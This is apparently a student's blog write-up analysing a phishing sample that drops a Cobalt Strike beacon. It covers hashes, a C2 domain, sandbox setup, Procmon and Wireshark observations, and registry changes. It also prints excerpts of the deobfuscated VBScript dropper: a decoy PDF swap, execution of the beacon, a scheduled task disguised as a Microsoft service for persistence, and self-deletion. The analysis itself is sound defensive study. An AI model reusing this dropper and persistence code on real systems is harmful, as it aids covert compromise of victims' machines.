indepth analysis of my first malware binary

2024-12-01

background

We were assigned a good class project for one of the only interesting courses during my graduate studies that required us to go through static and dynamic analysis of a selected malware sample, then reverse engineer it. I enjoyed this so much after spending a week on it straight and decided to post it here. This post is not the complete project report just because it turned out to be a 28 page report by the end and I don't think anyone is really going to read that much here - so i did compress sections that were too long.

At the time I had been studying for the CRTO which allowed me to use Cobalt Strike and I came to love the tool itself. Decided to perform analysis on a sample that actively uses a beacon which I found after searching on malpedia at the time. The selected article goes through the sample themselves but I wanted to give it a go myself and compare.

executive summary

The mission is to analyze a Windows malware sample under three separate perspectives: static, dynamic analysis and reverse engineering. Defining the full environment setup to complete this objective including all tools used, network infrastructure and virtual machine isolation. The sample was determined to be a phishing campaign dropping a Cobalt Strike (CO) beacon onto the victim machine and creating the required scheduled tasks for persistence. Static analysis on all documents, files, droppers, VBscripts revealed a shortcut file masquerading as a PDF document executing decoy documents to trick the victim and initialize the CO beacon. Hashes (MD5) include:
  1. Compressed: 86543a984e604430fb7685a1e707b2c4.
  2. VBScript: 0a34cc8983fb581a59308135868b75d0.
  3. Beacon: d29980f768aafdcf102cf1b3741c8a2b.
Processing the sample dynamically includes running the process in an isolated environment, with a proxy running to catch and prevent outgoing connections. DLLs, function calls, registry key modifica- tions, scheduled tasks have all been found revealing persistence and command execution for the beacon. Network communication is determined to point towards:
  1. service-c2y0jtba-1319584009.gz.tencentapigw.com.cn
Reverse engineering was time-limited and proved difficult due to the nature of the sample. Sample had been embedded within a Microsoft program, ImeBroker, and included encryption to hide itself. Sections of the sample was believed to operate executable payload but we cannot prove it without running a debugger and further analysis.

virtual machine setup setup

For safety while handling malware two Windows 10 Virtual machines are configured. Initial creation consists of a single Windows 10 Pro default installation using ISO and QEMU/KVM as the virtualization platform that is cloned after installing all required tooling planned for analyzing the malware sample and turning off all Windows Defender options in the Registry Editor.

"a gun and a radio"

Two separate VMs were used, one for static and one for dynamic analysis. They are clones of each other the only real difference is one has access to the internet (static) and one does not (dynamic).

qemu virtmanager


network configuration


system information


real time protection off

creating our own flare-vm

A number of the tools we installed and used in this project are shown. Some are not used, for example PeID and UPX are not needed or their capabilities are already fulfilled in other tools. The main tools we used are:
  1. IDA Pro v9.0 for disassembly & decompiling source code.
  2. PEBear v0.7.0 for analysing PE files.
  3. DetectItEasy v3.10 (DiE) for static analysis, imports, strings.
  4. System Informer & Process Monitor (Procmon) for process & services, disk and network usage.
  5. VirusTotal & UNPAC.ME for sandbox (i.e. Any Run) and preliminary research.
  6. WireShark for reading bidirectional network traffic.
Additional decompilers, Cutter and Binary Ninja, may be referenced but not directly shown due to minimal use throughout the project.

malware sample acquisition

lighting up the beacon



extracted files
Uncompressing the RAR file on disk we get what is shown above. Two documents, a PDF shortcut and a PDF document. The translation for these documents are
  1. Appendix 1: Instructions for filling out the ”2024 China Electrotechnical Society Science and Technology Award Recommendation Nomination” (Technology Invention Award and Science and Technology Progress Award) (August 2024 new version).pdf.lnk
  2. Appendix 2: ”Regulations on Science and Technology Awards of the China Electrotechnical Soci- ety” (revised in April 2024).pdf
extracted files
If we traverse to the sample directory using a terminal we can see a hidden directory that will not be shown even with hidden files turned on in File Explorer.

static analysis

There are a total of 5 files extracted from the RAR. I won't bore you with the analysis of all these files, instead I'll just show the interesting ones.

decoy file

target of decoy file
First file to analyze, the shortcut file, properties is listed. The general properties show the file size as 902B and 4096B on disk. Modified on August 21 2024 at 4:39:58A. The type being a shortcut linked file, with the description giving us an idea that its a script host. The actual target for this link is shown.
  1. C:/Windows/system32/wscript.exe ” MSWORD/office/O365.vbs”.
This immediately tells us the shortcut is malicious along with the VBScript as we suspected, and increases the probability that the CO beacon is the VBScript. The shortcut is also listed to run minimized.

vbscript file

vbscript properties
Loading the VBScript file into DiE does not reveal anything besides the strings inside the file. Instead, looking at the properties we can see the file is 8.92KB in size and 12.0KB on disk. Modified again on August 21 2024 at 4:39:58AM. Uploading the hash of this file onto VirusTotal we immediately notice this file is a dropper and may be obfuscated.
encoded text found
There is a long line that contains obfuscated code and gets executed. The obfuscation is pretty simple, hidden behind functions mid(), Asc() and chr() which reads characters from i to 4491, converts to ANSI and then to readable characters. Next step naturally is to create a simple VBScript copying the entire line and instead of executing, print it out. The following code analysis is only the main functionality of the deobfuscated code, if the reader would like a complete analysis then refer to the github page.

'Change backup extension to EXE'
strFilePath = currentPath & "\_MSWORD\office\cache.bak"
strNewFilePath = currentPath & "\_MSWORD\office\sigverif.exe"
objFSO.MoveFile strFilePath, strNewFilePath

'Replace shortcut link with PDF to make it seem like it really was a PDF document'
filenameb64 = DecodeBase64("6ZmE5Lu2Me+8...")
deleteFile = currentPath &  "\" & filenameb64 & ".lnk""

'Move EXE to temporary file'
tempFolder = fso.GetSpecialFolder(2)
tempPath = tempFolder & "\sigverif.exe"
fso.CopyFile runfile2, tempPath, True

'Open real PDF and execute EXE'
v1 = Chr(34) & destinationPath & Chr(34) 'This is PDF moved from subscription.db to the PDF name'
WshShell.Run v1, 0, False
WshShell.Run tempPath, 0, False

'Create a new service and execute if we are admin'
shellPath = tempPath
        taskName = "WpnUserService_x64"
        Set service = CreateObject("Schedule.Service")
        Set rootFolder1 = service.GetFolder("\\")
        Set taskDefinition = service.NewTask(0)
        On Error Resume Next
            CreateObject("WScript.Shell").RegRead ("HKEY_USERS\S-1-5-19\Environment\TEMP")
            If Err.Number = 0 Then
                IsAdmin = True
                    Set trigger = triggers.Create(8)

        'Run trigger'
        tDate = cYear & "-" & Right(cMonth, 2) & "-" & Right(cDay, 2)
        startTime = tDate & "T" & tTime
        endTime = "2099-05-02T10:52:02"
        trigger.StartBoundary = startTime
        trigger.EndBoundary = endTime
        trigger.ID = "TimeTriggerId"
        trigger.Enabled = True

        'Call the task scheduler and schedule the created task'
        Set Action1 = taskDefinition.Actions.Create(ActionTypeExec)
        Set objNet = CreateObject("WScript.Network")
        Call rootFolder1.RegisterTaskDefinition(taskName, taskDefinition, 6, LoginUser, , 3)

'Remove itself after execution'
If LCase(Right(strScriptPath, 4)) = ".vbs" Then
    objFSO.DeleteFile strScriptPath

From the above code it becomes clear what the executed VBScript file is doing. We summarize it as the following:
  1. Change cache.bak to sigverif.exe and copy to temporary file.
  2. Replace linked shortcut with subscription.db which is the actual PDF and open it.
  3. Execute the CO beacon, sigverif.exe. This is calling back to the C2 server.
  4. Try to create a new service and get it scheduled with Windows Task Scheduler. This is the persistence stage.

cahce.bak is our lighthouse

Detect it Easy of beacon
imported libraries
more imported libraries
Loading the backup file onto DiE does validate what we found earlier, the file is a PE32 executable compiled on Microsoft Visual. The file is not packed. The strings output and libraries output is too long to include in this report, but we included the libraries and leave it to the readers to view the next sections of this report for an analysis of the executable. A quick glance at the libraries does tell us some of the functionality, SHELL32.dll and SHLWAPI.dll is shell execution and file access. MSVCRT.dll does also reveal string manipulation, memory management operations and input-output management. ADVAPI32.dll is management of tasks, services and user accounts. All these directly line up with the functionality of CO.

PEBear manifest finds ImeBroker
A detailed view shown of the resources section of the CO beacon. It shows the number of ID and named entries, the value of these entries and content. The content of manifest is the most interesting here where ImeBroker is named because it is a normal Windows executable used to input characters of languages other than the default. This may hint at process injection into ImeBroker.

SEHandlerTable found in PEBear
Interesting data found in the config and debug sections of PEBear detailed. Public information suggests that the SEHandlerTable lists addresses that allow for code execution when an exception is thrown. Typically, memory addresses are limited in execution privileges however attackers circumvent this by either loading a payload into the .text section of the binary or using one of the addresses listed in SEHandlerTable. Debugging section reveals debug symbols left over from when the binary was compiled, this is useful when loading into a decompiler.

dynamic analysis

modifications to the file system, and hiding itself

beacon dropped on disk

all files moved out of original directory
Discovery in static analysis gives us a lead to a sigverif executable created in a temporary file, searching entire disk for the file results resolving a main executable along with crash report directories. Viewing the root directory of the sample we also notice all hidden files have removed from their original location. The DB file has been moved to fill the spot of the missing shortcut link with a PDF document, the backup file is now sigverif executable and the deobfuscator (and dropper) has been deleted off disk.

operations filtered in process explorer
A simple filter applied in process explorer to include all mentions of sigverif.exe process name results in what is shown. We see a total of 186 operations coming from the sigverif binary alone.
The operations in order is detailed as:
  1. Call sigverif.exe binary.
  2. Load images, modules, DLLs onto memory.
  3. Check for write permissions in C:/Windows and C:/Windows/SysWOW64
  4. Open, map and load kernel.appcore.dll, profapi.dll, imm32.dll, ole32.dll, winhttp.dll into memory with read write and execute permissions.
  5. Read file C:/Windows/System32/wow64.dll.
  6. Read file C:/Windows/SysWOW64/ntdll.dll.
  7. Call werfault.exe and write a crash report.
Note that all these operations are successful, meaning the process had enough privileges to read, write and execute in all these directories even C:/Windows which is meant only for high privileged users. This is allowed due to our user inheriting these permissions, although Windows normally should follow least privilege for processes. Even in modern times, Windows still struggles to allocate least privilege to an executable.

typical DLL operations
The typical operations for all DLLs listed above are listed. The operations follows a file open (even though it says CreateFile), perhaps to check for permissions or a file is needed to be opened before allocating in memory. Then, a CreateFileMapping is called to allocate a section in memory with the permissions requested. The DLLs are given read write and execute permissions for the allocated space, meaning this space can be used to execute code by other services. We suspect these DLLs that are loaded may just be address space the beacon uses to execute any command requested by the C2 server. Later, the operations are to close the file using CloseFile and loaded into memory with Load Image at the base address shown and size specified. The example here is for imm32.dll.

crash report logs
Some of the contents of the crash report is show . No clue as to whether this is a real process crash or an exception handler output. We can also see the original file name as ImeBroker.exe which is what we discovered earlier in the static analysis section.

wireshark filtered packets
Wireshark capturing all outgoing and incoming network communication caused by the sample can be shown. The initial three-way handshake is successful with the select destination address but when TLS connection is initiated, the server does not respond. Our localhost tries multiple times to initiate the connection by sending the TCP packets with PSH and ACK flags. Finally the connection is reset with RST and ACK due to no response from the server. We can however see the service name as tencentapigw.com.cn revealing the sample hosting location. We suspect this address is not used anymore. Repeat attempts at establishing a connection is detailed in the Wireshark capture all failing. The last connection failure results in sigverif.exe crashing. However it isn’t clear whether the crash handler is executing commands on the localhost due to write and execute permissions set in specific memory addresses found earlier, or the binary really just crashes because of an unestablished connection.

changes to registry keys

new malicious scheduled task
Prior to recording modifications made to the registry editor, during static analysis we found a sched- uled task being set if the user was an administrator on the local machine. We can easily check for this using the Task Scheduler. A new scheduled task WpnUserService is created, with the action starting the CO beacon sigverif.exe shown with the full path. Note the last run time and next run time columns show a difference of 24 hours, so we know the beacon triggers every full day.

triggers of scheduled task
We can see the full list of triggers. The beacon triggers on startup, during logon of any user, on task creation and modification, on idle time and every 59 minutes. Most of these are self-explanatory however we are unsure whether the trigger during logon of any user would give a reverse shell of that logged user, or the user that created the task. The difference is massive as this would mean lateral or vertical escalation if the process inherits the user who logged in.

newly added registry keys
Running regshot tool allows us to see modifications of the registry pre and post running the sample, then compare the two hives. The list of keys added is listed where the new task scheduled can also be seen. We see the full GUID highlighted, WpnUserService x64 and wscript.exe. All of these are the result of running the sample.

value of registry keys
Regshot also records the values added in those keys, we can see the values added to the GUID and their data including path, hash, description, URI, triggers, actions and dynamic info in HEX format.

registry editor viewing
The task can also be viewed by the user using RegEdit tool and selecting the full correct path as can be seen. Included in the actions from HEX to decimal, we can see the running sigverif.exe binary called. Notice how the task created tries to seem like a normal registry key from the author being Microsoft and description as Update. Victims may not be able to tell immediately that this is malicious for these reasons, perhaps Microsoft should disallow the author as Microsoft from a scheduled task created by the user.

reverse engineering

Ida viewing segments
A lot of time went into decompiling and trying to reverse engineer the sigverif.exe beacon without much success. Debugging symbols found during static analysis can be loaded into the IDA disassembler which gives us function names. However, the majority of the binary looks to be a normal ImeBroker.exe executable because of the strings found and function headers. Notice however segments reveals the .text section is executable which is never normally the case. Our only hint in reversing this binary remains a region in memory which is executable. The easiest way to solve this is with a debugger.

Ida shows import of DLLs
A second hint we found when taking a quick glance at the function, we noticed a hard- coded memory address in the decompiled code and a crafted string pointing to psapi.dll, msvcrt.dll and winhttp.dll. Take notice of the IMERegCreateKeyEx function called that creates registry keys too.

Ida program checks for perms
Program does check for permissions, high integrity and not token elevated by default.

keyspace found in a function
Detailed in line 7 is a key space that normally decrypts or encrypts data. It uses some of the capital case letters, from N to Z, all lowercase all numbers and special characters + and /.

struggle with reverse engineering

As you can see, we didn't really get that far into reverse engineering this binary. I spent a considerable amount of time and couldn't really get anywhere. But! I won't give up, well I will on this sample, however I do want to continue learning a little about reverse engineering. It's a lot of fun and definitely something I will allot time for in the future.